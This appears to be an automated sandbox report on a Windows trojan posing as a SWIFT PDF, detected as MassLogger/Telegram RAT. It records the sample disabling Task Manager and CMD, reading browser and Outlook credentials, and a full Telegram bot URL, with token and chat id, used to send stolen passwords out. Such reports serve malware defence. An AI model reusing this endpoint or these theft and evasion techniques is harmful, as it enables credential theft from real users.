Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe TID: 8124	Thread sleep count: 38 > 30	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe TID: 8124	Thread sleep time: -35048813740048126s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe TID: 8124	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe TID: 8124	Thread sleep time: -599891s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe TID: 8128	Thread sleep count: 1464 > 30	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe TID: 8128	Thread sleep count: 8353 > 30	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe TID: 8124	Thread sleep count: 35 > 30	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe TID: 8124	Thread sleep time: -599766s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe TID: 8124	Thread sleep time: -599657s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe TID: 8124	Thread sleep time: -599532s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe TID: 8124	Thread sleep time: -599407s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe TID: 8124	Thread sleep time: -599297s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe TID: 8124	Thread sleep time: -599188s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe TID: 8124	Thread sleep time: -599063s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe TID: 8124	Thread sleep time: -598938s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe TID: 8124	Thread sleep time: -598813s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe TID: 8124	Thread sleep time: -598688s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe TID: 8124	Thread sleep time: -598501s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe TID: 8124	Thread sleep time: -598234s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe TID: 8124	Thread sleep time: -598121s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe TID: 8124	Thread sleep time: -598016s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe TID: 8124	Thread sleep time: -597906s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe TID: 8124	Thread sleep time: -597797s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe TID: 8124	Thread sleep time: -597688s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe TID: 8124	Thread sleep time: -597578s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe TID: 8124	Thread sleep time: -597469s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe TID: 8124	Thread sleep time: -597344s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe TID: 8124	Thread sleep time: -597235s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe TID: 8124	Thread sleep time: -597110s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe TID: 8124	Thread sleep time: -596985s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe TID: 8124	Thread sleep time: -596860s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe TID: 8124	Thread sleep time: -596735s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe TID: 8124	Thread sleep time: -596610s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe TID: 8124	Thread sleep time: -596485s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe TID: 8124	Thread sleep time: -596360s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe TID: 8124	Thread sleep time: -596235s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe TID: 8124	Thread sleep time: -596110s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe TID: 8124	Thread sleep time: -595985s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe TID: 8124	Thread sleep time: -595860s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe TID: 8124	Thread sleep time: -595735s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe TID: 8124	Thread sleep time: -595610s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe TID: 8124	Thread sleep time: -595485s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe TID: 8124	Thread sleep time: -595360s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe TID: 8124	Thread sleep time: -595235s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe TID: 8124	Thread sleep time: -595110s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe TID: 8124	Thread sleep time: -594985s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe TID: 8124	Thread sleep time: -594860s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe TID: 8124	Thread sleep time: -594735s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe TID: 8124	Thread sleep time: -594610s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe TID: 8124	Thread sleep time: -594485s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe TID: 8124	Thread sleep time: -594360s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe TID: 8124	Thread sleep time: -594235s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe TID: 8124	Thread sleep time: -594110s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe TID: 8124	Thread sleep time: -593985s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe TID: 8124	Thread sleep time: -593860s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 0_2_00405846 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,LdrInitializeThunk,FindNextFileW,FindClose,	0_2_00405846
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 0_2_004027FB FindFirstFileW,	0_2_004027FB
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 0_2_00406398 FindFirstFileW,FindClose,	0_2_00406398
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4_2_00405846 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,LdrInitializeThunk,FindNextFileW,FindClose,	4_2_00405846
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4_2_004027FB FindFirstFileW,	4_2_004027FB
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4_2_00406398 FindFirstFileW,FindClose,	4_2_00406398

Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Thread delayed: delay time: 599891	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Thread delayed: delay time: 599766	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Thread delayed: delay time: 599657	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Thread delayed: delay time: 599532	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Thread delayed: delay time: 599407	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Thread delayed: delay time: 599297	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Thread delayed: delay time: 599188	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Thread delayed: delay time: 599063	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Thread delayed: delay time: 598938	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Thread delayed: delay time: 598813	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Thread delayed: delay time: 598688	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Thread delayed: delay time: 598501	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Thread delayed: delay time: 598234	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Thread delayed: delay time: 598121	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Thread delayed: delay time: 598016	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Thread delayed: delay time: 597906	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Thread delayed: delay time: 597797	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Thread delayed: delay time: 597688	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Thread delayed: delay time: 597578	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Thread delayed: delay time: 597469	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Thread delayed: delay time: 597344	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Thread delayed: delay time: 597235	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Thread delayed: delay time: 597110	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Thread delayed: delay time: 596985	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Thread delayed: delay time: 596860	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Thread delayed: delay time: 596735	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Thread delayed: delay time: 596610	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Thread delayed: delay time: 596485	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Thread delayed: delay time: 596360	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Thread delayed: delay time: 596235	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Thread delayed: delay time: 596110	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Thread delayed: delay time: 595985	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Thread delayed: delay time: 595860	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Thread delayed: delay time: 595735	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Thread delayed: delay time: 595610	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Thread delayed: delay time: 595485	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Thread delayed: delay time: 595360	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Thread delayed: delay time: 595235	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Thread delayed: delay time: 595110	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Thread delayed: delay time: 594985	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Thread delayed: delay time: 594860	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Thread delayed: delay time: 594735	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Thread delayed: delay time: 594610	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Thread delayed: delay time: 594485	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Thread delayed: delay time: 594360	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Thread delayed: delay time: 594235	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Thread delayed: delay time: 594110	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Thread delayed: delay time: 593985	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Thread delayed: delay time: 593860	Jump to behavior

Source: SWIFT091816-24_pdf.exe, 00000004.00000002.2940567004.0000000005B18000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW;
Source: SWIFT091816-24_pdf.exe, 00000004.00000002.2940567004.0000000005B6E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	API call chain: ExitProcess graph end node			graph_0-3753
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	API call chain: ExitProcess graph end node			graph_0-3933

Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe

Code function: 0_2_00403C41 SetWindowPos,ShowWindow,DestroyWindow,SetWindowLongW,GetDlgItem,SendMessageW,IsWindowEnabled,LdrInitializeThunk,SendMessageW,GetDlgItem,GetDlgItem,GetDlgItem,LdrInitializeThunk,SetClassLongW,LdrInitializeThunk,SendMessageW,GetDlgItem,ShowWindow,KiUserCallbackDispatcher,EnableWindow,GetSystemMenu,EnableMenuItem,SendMessageW,LdrInitializeThunk,SendMessageW,SendMessageW,lstrlenW,SetWindowTextW,DestroyWindow,CreateDialogParamW,GetDlgItem,GetWindowRect,ScreenToClient,SetWindowPos,LdrInitializeThunk,ShowWindow,DestroyWindow,EndDialog,ShowWindow,

0_2_00403C41

Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe

0_2_10001B18

Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe

Process created: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe "C:\Users\user\Desktop\SWIFT091816-24_pdf.exe"

Jump to behavior

Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Queries volume information: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe

Code function: 0_2_00406077 GetVersion,LdrInitializeThunk,LdrInitializeThunk,GetSystemDirectoryW,GetWindowsDirectoryW,SHGetSpecialFolderLocation,SHGetPathFromIDListW,CoTaskMemFree,lstrcatW,lstrlenW,

0_2_00406077

Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Task Manager(disabletaskmgr)

Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe

Registry value created: DisableTaskMgr 1

Jump to behavior

Disables CMD prompt

Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe

Registry value created: DisableCMD 1

Jump to behavior

Disables the Windows task manager (taskmgr)

Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe

Registry key created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System DisableTaskMgr

Jump to behavior

Stealing of Sensitive Information

Yara detected MassLogger RAT

Source: Yara match	File source: 00000004.00000002.2961833373.000000003631A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SWIFT091816-24_pdf.exe PID: 7844, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match	File source: 00000004.00000002.2961833373.000000003631A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SWIFT091816-24_pdf.exe PID: 7844, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data			Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data			Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: Yara match	File source: 00000004.00000002.2961833373.000000003631A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SWIFT091816-24_pdf.exe PID: 7844, type: MEMORYSTR

Remote Access Functionality

Yara detected MassLogger RAT

Source: Yara match	File source: 00000004.00000002.2961833373.000000003631A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SWIFT091816-24_pdf.exe PID: 7844, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match	File source: 00000004.00000002.2961833373.000000003631A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SWIFT091816-24_pdf.exe PID: 7844, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 Access Token Manipulation	1 Masquerading	1 OS Credential Dumping	21 Security Software Discovery	Remote Services	1 Email Collection	1 Web Service	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	11 Process Injection	31 Disable or Modify Tools	LSASS Memory	31 Virtualization/Sandbox Evasion	Remote Desktop Protocol	1 Archive Collected Data	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	Security Account Manager	1 Application Window Discovery	SMB/Windows Admin Shares	1 Data from Local System	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Access Token Manipulation	NTDS	1 System Network Configuration Discovery	Distributed Component Object Model	1 Clipboard Data	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Process Injection	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Deobfuscate/Decode Files or Information	Cached Domain Credentials	215 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	3 Obfuscated Files or Information	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
SWIFT091816-24_pdf.exe	26%	ReversingLabs	Win32.Trojan.Garf

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\nsq69D9.tmp\System.dll	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
https://reallyfreegeoip.orgf	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
drive.google.com	172.217.19.174	true	false	high
drive.usercontent.google.com	142.250.181.1	true	false	high
reallyfreegeoip.org	104.21.67.152	true	false	high
api.telegram.org	149.154.167.220	true	false	high
checkip.dyndns.com	193.122.6.168	true	false	high
checkip.dyndns.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://checkip.dyndns.org/	false	high
https://reallyfreegeoip.org/xml/8.46.123.189	false	high
https://api.telegram.org/bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://drive.usercontent.google.com/h	SWIFT091816-24_pdf.exe, 00000004.00000003.2664991064.0000000005B87000.00000004.00000020.00020000.00000000.sdmp, SWIFT091816-24_pdf.exe, 00000004.00000003.2630610173.0000000005B87000.00000004.00000020.00020000.00000000.sdmp, SWIFT091816-24_pdf.exe, 00000004.00000002.2940567004.0000000005B79000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com	SWIFT091816-24_pdf.exe, 00000004.00000003.2611982710.0000000005B87000.00000004.00000020.00020000.00000000.sdmp, SWIFT091816-24_pdf.exe, 00000004.00000003.2612028287.0000000005B87000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.telegram.org	SWIFT091816-24_pdf.exe, 00000004.00000002.2961833373.000000003631A000.00000004.00000800.00020000.00000000.sdmp, SWIFT091816-24_pdf.exe, 00000004.00000002.2961833373.00000000363F3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.telegram.org/bot	SWIFT091816-24_pdf.exe, 00000004.00000002.2961833373.000000003631A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.telegram.org/bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382	SWIFT091816-24_pdf.exe, 00000004.00000002.2961833373.00000000363F3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://translate.google.com/translate_a/element.js	SWIFT091816-24_pdf.exe, 00000004.00000003.2611982710.0000000005B87000.00000004.00000020.00020000.00000000.sdmp, SWIFT091816-24_pdf.exe, 00000004.00000003.2612028287.0000000005B87000.00000004.00000020.00020000.00000000.sdmp	false		high
https://drive.google.com/6	SWIFT091816-24_pdf.exe, 00000004.00000002.2940567004.0000000005B18000.00000004.00000020.00020000.00000000.sdmp	false		high
https://drive.google.com/v	SWIFT091816-24_pdf.exe, 00000004.00000002.2940567004.0000000005B18000.00000004.00000020.00020000.00000000.sdmp	false		high
http://reallyfreegeoip.org	SWIFT091816-24_pdf.exe, 00000004.00000002.2961833373.000000003628A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://reallyfreegeoip.org	SWIFT091816-24_pdf.exe, 00000004.00000002.2961833373.0000000036270000.00000004.00000800.00020000.00000000.sdmp	false		high
https://drive.usercontent.google.com/	SWIFT091816-24_pdf.exe, 00000004.00000003.2664991064.0000000005B87000.00000004.00000020.00020000.00000000.sdmp, SWIFT091816-24_pdf.exe, 00000004.00000003.2630610173.0000000005B87000.00000004.00000020.00020000.00000000.sdmp, SWIFT091816-24_pdf.exe, 00000004.00000002.2940567004.0000000005B79000.00000004.00000020.00020000.00000000.sdmp	false		high
https://reallyfreegeoip.orgf	SWIFT091816-24_pdf.exe, 00000004.00000002.2961833373.0000000036270000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://checkip.dyndns.org	SWIFT091816-24_pdf.exe, 00000004.00000002.2961833373.0000000036255000.00000004.00000800.00020000.00000000.sdmp, SWIFT091816-24_pdf.exe, 00000004.00000002.2961833373.000000003631A000.00000004.00000800.00020000.00000000.sdmp, SWIFT091816-24_pdf.exe, 00000004.00000002.2961833373.0000000036270000.00000004.00000800.00020000.00000000.sdmp, SWIFT091816-24_pdf.exe, 00000004.00000002.2961833373.00000000363F3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://apis.google.com	SWIFT091816-24_pdf.exe, 00000004.00000003.2611982710.0000000005B87000.00000004.00000020.00020000.00000000.sdmp, SWIFT091816-24_pdf.exe, 00000004.00000003.2612028287.0000000005B87000.00000004.00000020.00020000.00000000.sdmp	false		high
http://checkip.dyndns.com	SWIFT091816-24_pdf.exe, 00000004.00000002.2961833373.0000000036270000.00000004.00000800.00020000.00000000.sdmp, SWIFT091816-24_pdf.exe, 00000004.00000002.2961833373.00000000363F3000.00000004.00000800.00020000.00000000.sdmp	false		high
http://nsis.sf.net/NSIS_ErrorError	SWIFT091816-24_pdf.exe	false		high
http://api.telegram.org	SWIFT091816-24_pdf.exe, 00000004.00000002.2961833373.000000003631A000.00000004.00000800.00020000.00000000.sdmp, SWIFT091816-24_pdf.exe, 00000004.00000002.2961833373.00000000363F3000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	SWIFT091816-24_pdf.exe, 00000004.00000002.2961833373.00000000361F1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://reallyfreegeoip.org/xml/	SWIFT091816-24_pdf.exe, 00000004.00000002.2961833373.0000000036270000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	false
142.250.181.1	drive.usercontent.google.com	United States	15169	GOOGLEUS	false
104.21.67.152	reallyfreegeoip.org	United States	13335	CLOUDFLARENETUS	false
193.122.6.168	checkip.dyndns.com	United States	31898	ORACLE-BMC-31898US	false
172.217.19.174	drive.google.com	United States	15169	GOOGLEUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1575732
Start date and time:	2024-12-16 09:03:08 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 9s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
